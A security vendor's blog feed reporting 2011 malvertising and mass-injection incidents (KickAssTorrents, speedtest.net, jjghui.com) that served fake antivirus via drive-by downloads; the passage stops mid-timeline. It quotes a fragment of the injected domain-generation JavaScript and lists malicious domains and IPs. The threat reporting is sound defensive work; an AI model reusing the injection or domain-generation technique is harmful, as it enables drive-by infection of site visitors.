<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-505418663478597283</id><updated>2012-02-09T02:17:47.727-08:00</updated><category term='Web malware'/><category term='Hosting attack'/><category term='Drive-by download ransomware'/><category term='HDD Plus'/><category term='malvertising'/><category term='Drive-by download'/><category term='WordPress'/><category term='osCommerce'/><category term='Armorize'/><category term='Drive-by Cache'/><category term='HackAlert'/><category term='fake antivirus'/><category term='k985ytv'/><category term='openx'/><category term='Mass Injection'/><title type='text'>Armorize Malware Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.armorize.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Cola</name><uri>http://www.blogger.com/profile/03976107571726560330</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>36</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-2234098390042152330</id><published>2011-10-15T21:20:00.000-07:00</published><updated>2011-10-15T22:12:13.861-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fake antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='openx'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Malvertising on KickAssTorrents (kat.ph) , OpenX compromised to serve fake anti-virus "Security Sphere 2012"</title><content type='html'>(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-fv3ZOOBRQfA/TppWmSL2WXI/AAAAAAAACh8/Zn_9LGv5NTA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-fv3ZOOBRQfA/TppWmSL2WXI/AAAAAAAACh8/Zn_9LGv5NTA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Yesterday our &lt;a href="http://armorize.com/?link_id=hackalert"&gt;HackAlert website malware monitoring service&lt;/a&gt; told us that KickAssTorrents (kat.ph), ranked &lt;a href="http://www.alexa.com/siteinfo/kat.ph"&gt;321 globally on Alexa&lt;/a&gt; with more than &lt;a href="http://siteanalytics.compete.com/kat.ph/"&gt;1.5 million unique visitors per month&lt;/a&gt;, is serving malware to all of its visitors via malvertising. Below is a video showing how visitors are infected:&lt;br /&gt;&lt;iframe  height="468" width="750"  src="http://www.youtube.com/embed/iMKKbwWIcYk" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Coincidentally, KickAss Torrents published a &lt;a href="http://www.kat.ph/blog/post/1022/"&gt;blog post&lt;/a&gt; on Oct 10th in response to the website being flagged by antivirus vendor Avast. In it they said:&lt;br /&gt;===================&lt;br /&gt;Our users that are using the Avast anti-virus might have noticed that KAT.ph suddenly became labeled as a dangerous website for users that are not logged in. &lt;b&gt;We want to assure our users that KickassTorrents has no malware or viruses of any kind and it is absolutely safe to use our website.&lt;/b&gt; We already contacted Avast and currently we are trying to find and fix the cause of this problem. You will help us if you choose the "Report the file as a false positive" option if you get the alert.&lt;br /&gt;===================&lt;br /&gt;&lt;br /&gt;In &lt;a href="http://www.kat.ph/community/show/21785/"&gt;another thread&lt;/a&gt;, KickAss Torrents said:&lt;br /&gt;&lt;br /&gt;===================&lt;br /&gt;Now what the hell does this error mean? &lt;br /&gt;First of all, don't flip out, don't go post on the KAT site, post down here if you experience the same problem. &lt;br /&gt;Secondly, report down here if you experience this error.&lt;br /&gt;&lt;b&gt;Thirdly, add kat.ph to the safe URLs in your AV.&lt;/b&gt;&lt;br /&gt;And lastly, please go to this site and report the problem (Avast! users only):&lt;br /&gt;Avast! forum thread&lt;br /&gt;Back on topic. What is this error? Does error roughly means that your anti-virus software has found some bad code in an iFrame. This could be from the site itself, or from advertisements. An iFrame is a piece of code that allows you to do several things. Embedding something to your site is a good example.&lt;br /&gt;I hope this topic helps a little and I certainly hope the error is going to be fixed now.&lt;br /&gt;Q&amp;A:&lt;br /&gt;Q: OMFG IS KAT HACKED?&lt;br /&gt;A: Nope, just some error.&lt;br /&gt;Q: Is it really safe to visit KAT?&lt;br /&gt;A: Yes, it is.&lt;br /&gt;===================&lt;br /&gt;&lt;br /&gt;KickAss Torrents also referred to this discussion thread on Avast's forum. At the end of the forum it appears that Avast has acknowledged that it was indeed a false positive and have addressed the issue:&lt;br /&gt;&lt;br /&gt;===================&lt;br /&gt;Hello,&lt;br /&gt;&lt;br /&gt;It should be solved, if not let us know please.&lt;br /&gt;&lt;br /&gt;Miroslav Jenšík&lt;br /&gt;AVAST Software a.s.&lt;br /&gt;===================&lt;br /&gt;&lt;br /&gt;Well, that time it might have been a false positive from Avast, but this time the website is absolutely infecting its visitors, as seen in our video.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;b&gt;[Summary]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Here we summarize characteristics worth noting:&lt;br /&gt;&lt;br /&gt;1. High traffic website compromised.&lt;br /&gt;2. Malvertising via compromising KickAssTorrents' OpenX platform.&lt;br /&gt;3. Spreading fake antivirus "Security Sphere 2012" by conducting a drive-by download process. Simply navigating to the website with an outdated browsing platform will result in infection. No clicks necessary (see video).&lt;br /&gt;4. Same attackers responsible for the recent &lt;a href="http://blog.armorize.com/2011/10/malvertising-lifecycle-case-study-openx.html"&gt;speedtest.net incident&lt;/a&gt;.&lt;br /&gt;5. Using DynDNS domains for their exploit server.&lt;br /&gt;6. Domain names are auto-calculated using Javascript. The algorithm used generates a (predicable) different dyndns.tv domain name every hour, in the format of roboABCD.tv, where ABCD are characters with a fixed seed and incremented by one character every different UTC hour.&lt;br /&gt;7. &lt;b&gt;The new dyndns domain for the next hour is generated every hour precisely at minutes 2 to 5, so this may be done by an automated mechanism.&lt;/b&gt;&lt;br /&gt;8. Initial antivirus detection rates are very low, from 0 to 2 vendors out of 43 on VirusTotal.&lt;br /&gt;9. All generated domains resolve to a single IP: 184.22.224.154 (AS21788, United States  Scranton  Network Operations Center Inc), located in the US.&lt;br /&gt;10. The domain: obama-president.com resolves to this IP and is serving the same exploit pack. This domain was registered on Aug 4th through an Russian registrar, 1'ST DOMAIN NAME SERVICE www.1dns.ru. At this time the domain resolved to an Netherlands IP 85.17.93.9. The domain started to resolve to 184.22.224.154 on Aug 23rd. This IP and the president-obama.com domain are both currently still up and working.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Details]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;KickAssTorrents serves its ads via its OpenX installation at ad.kat.ph. This platform has been compromised and made to serve browser exploits. In our video, this URL:&lt;br /&gt;&lt;br /&gt;http://ad.kat.ph/delivery/ajs.php?zoneid=4&amp;target=_blank&amp;charset=UTF-8&amp;cb=95920847237&amp;charset=UTF-8&amp;loc=http%3A//www.kat.ph/&amp;section=1939940&lt;br /&gt;&lt;br /&gt;was injected with malicious javascript. In the following code snippet, the highlighted sections are the injected part. Note the code isn't just a few lines of "injection"--the code is merged with the original OpenX html code:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Gf0zaSDi14c/TppVJO0xMHI/AAAAAAAAChY/FMfz_dKHlNA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-Gf0zaSDi14c/TppVJO0xMHI/AAAAAAAAChY/FMfz_dKHlNA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The following is the important parts of the decoded version:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Y5anF4J3jgw/TppY4VpyHsI/AAAAAAAACiI/ybGruwjonWA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B4.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-Y5anF4J3jgw/TppY4VpyHsI/AAAAAAAACiI/ybGruwjonWA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;From line 29-41, we can see that the function spelled() generates four characters based on the current hour in UTC. From line 18 we can see how this function is called: var gyrally = spelled(String("robo"), new String(".dynd" + "ns.tvmg7j".substr(0, 5)));&lt;br /&gt;&lt;br /&gt;Antivirus detection of the dropped and installed malicious binary was &lt;a href="http://www.virustotal.com/file-scan/report.html?id=95c9635cb9d7b22ee268d02ffe5b0750d04f711f61c00f61516fc96cd5033f00-1318617690"&gt;2 out of 42 vendors on VirusTotal&lt;/a&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-1IdgkH3Rvws/TppaiMhLsMI/AAAAAAAACiU/CYIeS0uGWMA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B5.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-1IdgkH3Rvws/TppaiMhLsMI/AAAAAAAACiU/CYIeS0uGWMA/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B5.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;And finally, here's a screenshot of the installed fake antivirus Security Sphere 2012:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-PujALyChS2k/TppbTdVJmDI/AAAAAAAACig/uYM_RieWvws/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B6.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-PujALyChS2k/TppbTdVJmDI/AAAAAAAACig/uYM_RieWvws/s1600/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B6.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-2234098390042152330?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/2234098390042152330/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/10/malvertising-on-kickasstorrents-katph.html#comment-form' title='23 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/2234098390042152330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/2234098390042152330'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/10/malvertising-on-kickasstorrents-katph.html' title='Malvertising on KickAssTorrents (kat.ph) , OpenX compromised to serve fake anti-virus &quot;Security Sphere 2012&quot;'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-fv3ZOOBRQfA/TppWmSL2WXI/AAAAAAAACh8/Zn_9LGv5NTA/s72-c/malvertising%2Bon%2Bkickasstorrents%2Bspreading%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2Bvia%2Bhacked%2Bopenx%2B3.png' height='72' width='72'/><thr:total>23</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-6787009258137818667</id><published>2011-10-12T12:58:00.000-07:00</published><updated>2011-10-13T20:52:23.011-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mass Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>http://jjghui.com/urchin.js mass infection ongoing</title><content type='html'>(Credit: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;Starting Oct 9th, we've been tracing an mass injection attempt. Currently, there's been 180,000 affected pages, according to &lt;a href="http://www.google.com/webhp?hl=en#q=%22http://jjghui.com/urchin.js%22&amp;amp;hl=en&amp;amp;site=webhp&amp;amp;prmd=imvns&amp;amp;ei=ZtOVTujeJaSWiQe999CJCw&amp;amp;start=90&amp;amp;sa=N&amp;amp;bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&amp;amp;fp=18aa9f7b4fee5b6d&amp;amp;biw=944&amp;amp;bih=967"&gt;Google.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-K1kdNIcnvp0/TpXiTUJFkxI/AAAAAAAAChA/t6oYIbz47-c/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-K1kdNIcnvp0/TpXiTUJFkxI/AAAAAAAAChA/t6oYIbz47-c/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B6.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The attack targets visitors of six particular languages--&lt;b&gt;English, German, French, Italian, Polish, and Breton&lt;/b&gt;, seen from the following deobfuscated script:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="fullpost"&gt;&lt;a href="http://1.bp.blogspot.com/-OH7y1j5_MAc/TpXX3G9xCiI/AAAAAAAACgQ/ysNcr9uTEoI/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-OH7y1j5_MAc/TpXX3G9xCiI/AAAAAAAACgQ/ysNcr9uTEoI/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B2.png" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://snipt.net/armorize/decoded-httpjjghuicomurchinjs-mass-infection-script?key=7bcd613f2e43bb7fb4b53badc85c70ed"&gt;Here&lt;/a&gt; is a text version of the above decoded script.&lt;br /&gt;&lt;br /&gt;The scripts causes the visiting browser to load an iframe first from www3.strongdefenseiz.in and then from www2.safetosecurity.rr.nu. Multiple browser-based drive-by download exploits are served depending on the visiting browser.&lt;br /&gt;&lt;br /&gt;In a drive-by download attack, visitors who navigate to the infected websites will be installed with malware on their machines without their knowledge. This is if they have outdated browsing platforms (browser or Adobe PDF or Adobe Flash or Java etc).&lt;br /&gt;&lt;br /&gt;This wave of mass injection incident is &lt;b&gt;targeting ASP ASP.NET websites&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Currently, the &lt;a href="http://www.virustotal.com/file-scan/report.html?id=1ba709f9c643260b82419c61ab7c21b428226a97642e575f4066a4847c3877aa-1318447706"&gt;6 out of 43 antivirus vendors&lt;/a&gt; on VirusTotal can detect the dropped malware.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-PW96b5Dp44I/TpXhgXQai_I/AAAAAAAACg0/RtP_6CwEkl0/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-PW96b5Dp44I/TpXhgXQai_I/AAAAAAAACg0/RtP_6CwEkl0/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B5.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;jjghui.com resolves to IP 146.185.248.3 (AS3999), which is in Russia. www3.strongdefenseiz.in resolves to 75.102.21.121 (AS36352), which is in the US and hosted by HostForWeb.com. www2.safetosecurity.rr.nu resolves to IP 67.208.74.71 (AS33597), which is in the US and hosted by InfoRelayOnlineSystems. &lt;br /&gt;&lt;br /&gt;The dropped malware attempts to connect to: 65.98.83.115 (AS25653), which is in the US.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[Details]&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1. ASP and ASP.NET websites are injected with the following script (text is here):&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;a href="http://3.bp.blogspot.com/-CBfzwtdWSM8/TpXadfnKGhI/AAAAAAAACgc/c6JgeA-SAMY/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-CBfzwtdWSM8/TpXadfnKGhI/AAAAAAAACgc/c6JgeA-SAMY/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;2. Contents of urchin.js is as seen below; full text &lt;a href="http://snipt.net/armorize/second-snippet-for-jjghui-mass-infection?key=55ad89066c42f0941df37d8258efd19e"&gt;is here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ogk9wFsWvM4/TpXgEd5KSJI/AAAAAAAACgo/6DqsHhk2TV4/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-ogk9wFsWvM4/TpXgEd5KSJI/AAAAAAAACgo/6DqsHhk2TV4/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;3. The above script decodes to the following:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-OH7y1j5_MAc/TpXX3G9xCiI/AAAAAAAACgQ/ysNcr9uTEoI/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-OH7y1j5_MAc/TpXX3G9xCiI/AAAAAAAACgQ/ysNcr9uTEoI/s1600/jjghui%2Bcom%2Burchin%2Bjs%2B2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://snipt.net/armorize/decoded-httpjjghuicomurchinjs-mass-infection-script?key=7bcd613f2e43bb7fb4b53badc85c70ed"&gt;Here&lt;/a&gt; is a text version of the above decoded script.&lt;br /&gt;&lt;br /&gt;4. The above script generates an iframe to www3.strongdefenseiz.in, which gives an HTTP 302 redirect to the exploit server at www2.safetosecurity.rr.nu.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-6787009258137818667?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/6787009258137818667/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/10/httpjjghuicomurchinjs-mass-infection.html#comment-form' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/6787009258137818667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/6787009258137818667'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/10/httpjjghuicomurchinjs-mass-infection.html' title='http://jjghui.com/urchin.js mass infection ongoing'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-K1kdNIcnvp0/TpXiTUJFkxI/AAAAAAAAChA/t6oYIbz47-c/s72-c/jjghui%2Bcom%2Burchin%2Bjs%2B6.png' height='72' width='72'/><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-1325415692870318526</id><published>2011-10-10T03:52:00.000-07:00</published><updated>2011-10-14T19:21:33.434-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malvertising'/><category scheme='http://www.blogger.com/atom/ns#' term='fake antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='openx'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Malvertising lifecycle case study 1--OpenX compromise on speedtest.net, spreading Security Sphere 2012 fake antivirus</title><content type='html'>(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-kftdeXePYT0/TpJ7MGssbmI/AAAAAAAACf0/LGU0mbDmNG0/s1600/malvertising%2Bspeedtest%2Bnet%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2B1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-kftdeXePYT0/TpJ7MGssbmI/AAAAAAAACf0/LGU0mbDmNG0/s1600/malvertising%2Bspeedtest%2Bnet%2Bsecurity%2Bsphere%2B2012%2Bfake%2Bantivirus%2B1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Incident:&lt;/b&gt; SpeedTest.net, &lt;a href="http://www.alexa.com/siteinfo/speedtest.net"&gt;ranked 541 on Alexa&lt;/a&gt; with &lt;a href="http://www.checksitetraffic.com/traffic_spy/speedtest.net"&gt;8,141,777 unique visitors and 10,177,221 page views&lt;/a&gt; per month, fell victim to malvertising and was spreading the "Security Sphere 2012" fake antivirus to its visitors. By simply navigating to the website, visitors with outdated browsing environments (browser or browser plugins such as Java, Adobe Flash, Adobe PDF Reader, etc) will end up with Security Sphere permanently installed inside their systems.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;b&gt;Malware:&lt;/b&gt; By claiming that every application "has been infected by malware and cannot be executed," Security Sphere 2012 basically locks down the infected computer until the victim purchases a "license" for it to "clean up the infections."&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Cause:&lt;/b&gt; SpeedTest.net runs its own online advertisement platform using OpenX, using the domain ads.ookla.com. The attackers have compromised this OpenX platform and injected an malicious iframe into every ad served. We have a video of the how visitors are infected:&lt;br /&gt;&lt;iframe height="468" width="750" src="http://www.youtube.com/embed/fVcZ8ZeVaZo" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Malware Lifecycle:&lt;/b&gt; Initially, the detection rate &lt;a href="http://www.virustotal.com/file-scan/report.html?id=969bad4d52672e8b6475e88d266337906022c47966daba0c5dfedc1321885470-1318192617"&gt;on VirusTotal&lt;/a&gt; was 0 out of 43:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-TAX-DR7NVb4/TpLGC1clVwI/AAAAAAAACf8/kaRh1yy3Kpc/s1600/Malvertising%2Bon%2Bspeedtest%2Bnet%2BSecurity%2BSphere%2B2012%2Bfake%2Bantivirus%2B3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-TAX-DR7NVb4/TpLGC1clVwI/AAAAAAAACf8/kaRh1yy3Kpc/s1600/Malvertising%2Bon%2Bspeedtest%2Bnet%2BSecurity%2BSphere%2B2012%2Bfake%2Bantivirus%2B3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;The malware detects common VMs (virtual machines) and will not execute inside a VM or sandbox. This helps it avoid detection.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Below is a timeline of the malware lifecycle. We missed to submit in some spots so the timeline isn't 100% accurate, but it gives a good idea:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-09-XX 00:00 UTC&lt;/b&gt; Initial injection into SpeedTest.net and other websites&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;(Anvirirus companies do not have this particular malware sample and therefore no one is detecting it)&lt;br /&gt;|&lt;br /&gt;(We don't know how long this period was)&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;&lt;b&gt;2011-09-30 09:23 UTC&lt;/b&gt; 0 / 43, we first submitted the sample to VirusTotal. Because all 43 participating antivirus vendors are in partnership with VirusTotal, they should all have this sample once we've submitted it.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-09-30 11:00 UTC&lt;/b&gt; 2 / 43, Kaspersky, NOD32&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-09-30 15:00 UTC&lt;/b&gt; 3 / 43, Dr. Web&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-09-30 19:00 UTC&lt;/b&gt; 7 / 43, Comodo, Emsissoft, Microsoft, Panda&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-09-30 23:00 UTC&lt;/b&gt; 9 / 43, AVG, Symantec&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-01 03:00 UTC&lt;/b&gt; 14 / 43, BitDefender, F-Secure, GData, PCTools, SUPERAntiSpyware&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-01 07:00 UTC&lt;/b&gt; 14 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-01 11:00 UTC&lt;/b&gt; 17 / 43, Avast, McAfee, VIPRE&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-01 15:00 UTC&lt;/b&gt; 17 / 43, &lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-01 19:00 UTC&lt;/b&gt; 22 / 43, Ahn-Lab-V3, Ikarus, K7AntiVirus, McAfee-GW-Edition, Sophos&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-01 23:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-02 03:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-02 07:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-02 11:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-02 15:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-02 19:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-02 23:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-03 03:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-03 07:00 UTC&lt;/b&gt; 22 / 43,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2011-10-03 11:00 UTC&lt;/b&gt; 30 / 43, AntiVir, Antiy-AVL, CAT-QuickHeal, Emsisoft, TheHacker, TrendMicro, TrendMicro-HouseCall, VirusBuster&lt;br /&gt;&lt;br 